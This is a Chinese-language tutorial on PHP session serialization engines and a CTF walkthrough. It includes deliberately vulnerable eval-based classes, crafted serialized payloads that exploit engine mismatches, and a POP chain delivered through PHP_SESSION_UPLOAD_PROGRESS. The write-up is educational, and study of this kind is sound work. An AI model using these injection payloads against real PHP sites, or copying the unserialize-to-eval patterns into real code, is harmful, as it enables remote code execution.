深入解析PHP中SESSION反序列化机制


Posted in PHP onMarch 01, 2017

简介

在php.ini中存在三项配置项:

  • session.save_path=""   --设置session的存储路径
  • session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
  • session.save_handler=files     表明session是以文件的方式来进行存储的
  • session.auto_start=0    表明默认不启动session
  • session.serialize_handler=php     表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  1. php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  2. php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  3. php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');

示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下:

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:

深入解析PHP中SESSION反序列化机制

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock"; 。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock"; 。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock"; 。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用

test.php

<?php
class syclover{
 var $func="";
 function __construct() {
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}

那么反序列化得到的内容是:

object(syclover)[1]
 public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。

这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
 'a:1:{s:6:"spoock";s:24:"' => 
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
 var $hi;
 function __construct(){
 $this->hi = 'phpinfo();';
 }
 
 function __destruct() {
  eval($this->hi);
 }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>这是foo1的析构函数<br>";
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>这是foo2的析构函数<br>";
 }
}

class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>这是foo3的析构函数<br>";
 }
}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:

myindex.php

<?php
class foo3{
 public $varr='echo "spoock";';
 function execute(){
  eval($this->varr);
 }
}
class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
}

class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();
 }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。

PHP 相关文章推荐
ezSQL PHP数据库操作类库
May 16 PHP
php抓取页面的几种方法详解
Jun 17 PHP
浅析PHP程序设计中的MVC编程思想
Jul 28 PHP
ioncube_loader_win_5.2.dll的错误解决方法
Jan 04 PHP
ThinkPHP自定义函数解决模板标签加减运算的方法
Jul 03 PHP
php里array_work用法实例分析
Jul 13 PHP
php轻量级的性能分析工具xhprof的安装使用
Aug 12 PHP
php验证码实现代码(3种)
Sep 07 PHP
Zend Framework数据库操作方法实例总结
Dec 11 PHP
php框架CodeIgniter主从数据库配置方法分析
May 25 PHP
Laravel多域名下字段验证的方法
Apr 04 PHP
PHP rsa加密解密算法原理解析
Dec 09 PHP
yii2使用GridView实现数据全选及批量删除按钮示例
Mar 01 #PHP
PHP插件PHPMailer发送邮件功能
Feb 28 #PHP
PHP利用正则表达式将相对路径转成绝对路径的方法示例
Feb 28 #PHP
PHP用正则匹配form表单中所有元素的类型和属性值实例代码
Feb 28 #PHP
PHP中让json_encode不自动转义斜杠“/”的方法
Feb 28 #PHP
PHP连接MYSQL数据库的3种常用方法
Feb 27 #PHP
php获取今日开始时间和结束时间的方法
Feb 27 #PHP
You might like
php 验证码实例代码
2010/06/01 PHP
用php解析html的实现代码
2011/08/08 PHP
PHP中的一些常用函数收集
2015/05/26 PHP
PHP实现RTX发送消息提醒的实例代码
2017/01/03 PHP
php-app开发接口加密详解
2018/04/18 PHP
提高javascript效率 一次判断,而不要次次判断
2012/03/30 Javascript
css transform 3D幻灯片特效实现步骤解读
2013/03/27 Javascript
JS特殊函数(Function()构造函数、函数直接量)区别介绍
2013/05/19 Javascript
Jquery中国地图热点效果-鼠标经过弹出提示层信息的简单实例
2014/02/12 Javascript
js实现网页随机切换背景图片的方法
2014/11/01 Javascript
jQuery插件实现控制网页元素动态居中显示
2015/03/24 Javascript
jquery实现用户信息修改验证输入方法汇总
2015/07/18 Javascript
jquery判断复选框是否被选中的方法
2015/10/16 Javascript
jquery实现点击弹出可放大居中及关闭的对话框(附demo源码下载)
2016/05/10 Javascript
Vue 2.5.2下axios + express 本地请求404的解决方法
2018/02/21 Javascript
JS实现的JSON数组去重算法示例
2018/04/11 Javascript
js代码规范之Eslint安装与配置详解
2018/09/08 Javascript
Vue实现导航栏点击当前标签变色功能
2020/08/19 Javascript
小程序登录之支付宝授权的实现示例
2019/12/13 Javascript
Javascript Worker子线程代码实例
2020/02/20 Javascript
elementui实现预览图片组件二次封装
2020/12/29 Javascript
[00:52]DOTA2第二届亚洲邀请赛预选赛宣传片
2017/01/13 DOTA
python 获取文件下所有文件或目录os.walk()的实例
2018/04/23 Python
详解Pymongo常用查询方法总结
2021/01/29 Python
世界上最全面的草药补充剂和顶级品牌维生素网站:HerbsPro
2019/01/20 全球购物
德国购买踏板车网站:Microscooter
2019/10/14 全球购物
澳大利亚领先的亚麻品牌:Bed Threads
2019/12/16 全球购物
实习教师自我鉴定
2013/09/27 职场文书
试用期转正鉴定评语
2014/01/27 职场文书
五型班组建设方案
2014/02/10 职场文书
本科生求职信
2014/06/17 职场文书
抗洪救灾标语
2014/10/08 职场文书
交通局领导班子群众路线教育实践活动对照检查材料思想汇报
2014/10/09 职场文书
安全伴我行主题班会
2015/08/13 职场文书
Spring Boot 实现 WebSocket
2022/04/30 Java/Android
Win10服务主机占用内存怎么办?Win10服务主机进程占用大量内存解决方法
2022/09/23 数码科技